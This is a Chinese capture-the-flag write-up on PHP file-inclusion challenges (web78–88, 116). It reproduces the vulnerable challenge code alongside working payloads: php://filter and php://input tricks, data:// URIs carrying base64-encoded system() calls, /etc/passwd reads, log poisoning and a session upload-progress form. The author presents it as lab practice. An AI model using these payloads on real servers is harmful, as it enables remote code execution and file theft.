【从0开始学web】78-88 文件包含

【从0开始学web】78-88 文件包含

文件包含题,可以先了解一下文件包含漏洞

https://blog.csdn.net/yzl_007/article/details/120261435

web78

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 10:52:43
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 10:54:20
# @email: [email protected]
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
    
    
    $file = $_GET['file'];
    include($file);
}else{
    
    
    highlight_file(__FILE__);
}

php://filter 伪协议 读取,条件:allow_url_include = on

payload:?file=php://filter/convert.base64-encode/resource=flag.php

php://input 协议

image-20211014220330421

php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。

注:当enctype=”multipart/form-data”时,php://input是无效的。

参考:https://www.cnblogs.com/endust/p/11804767.html

web79

if(isset($_GET['file'])){
    
    
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    
    
    highlight_file(__FILE__);
}

将php替换成???

?file=php://filter/convert.base64-encode/resource=flag.php php:// 会被替换,用不了,就用input:// 吧

str_replace 函数 区分大小写,可以大小写绕过,将上一题的php改为PHP即可

image-20211014222943856

或者php://data 协议 ,将命令转义成base64

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=

web80

if(isset($_GET['file'])){
    
    
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    
    
    highlight_file(__FILE__);
}

将data也替换 ,data://也用不了了,继续php://input

在这里插入图片描述

web81

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

冒号也被过滤了,伪协议用不了,日志包含getshell

?file=/etc/passwd 是可以回显的,再查看一下能不能找到日志

在这里插入图片描述

?file=/var/log/nginx/access.log 也是存在回显的

在这里插入图片描述

然后日志注入

在这里插入图片描述## web82

if(isset($_GET['file'])){
    
    
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);
}else{
    
    
    highlight_file(__FILE__); 

禁用的data、php、:、. 多禁用了一个点,虽然访问不到access.log ,换个思路了得,只能找一个不带.路径的文件,所以选择了session会话文件,可以先了解一下下面这篇文章:利用session.upload_progress进行文件包含

如下代码构造一个上传的攻击,

#poc.php
<!DOCTYPE html>
<html>
<body>
<form action="ip地址" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>

在这里插入图片描述

然后再不断请求

这里参考这篇文章吧,https://www.cnblogs.com/NPFS/p/13795170.html ,没实验成功。。。

web83-86 (未完待续)

web87

if(isset($_GET['file'])){
    
    
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);

    
}else{
    
    
    highlight_file(__FILE__);
}

参考:https://www.leavesongs.com/PENETRATION/php-filter-magic.html#_2 暂时没做出来

web88

if(isset($_GET['file'])){
    
    
    $file = $_GET['file'];
    if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
    
    
        die("error");
    }
    include($file);
}else{
    
    
    highlight_file(__FILE__);
} 

没用过滤 :

payload:?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOz8+ 查看目录

要注意的是这里 + 、 = 都是被过滤的,记得去掉

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmwwZy5waHAnKTsgPz4 查看flag

在这里插入图片描述

web116

打开是一个视频

在这里插入图片描述

下载下来,分离出图片源码

在这里插入图片描述

用的是file_get_contents(后续补充)所以,直接 输入file=flag.php就可以过

在这里插入图片描述

web117

#持续更新

おすすめ

転載: blog.csdn.net/yzl_007/article/details/120774737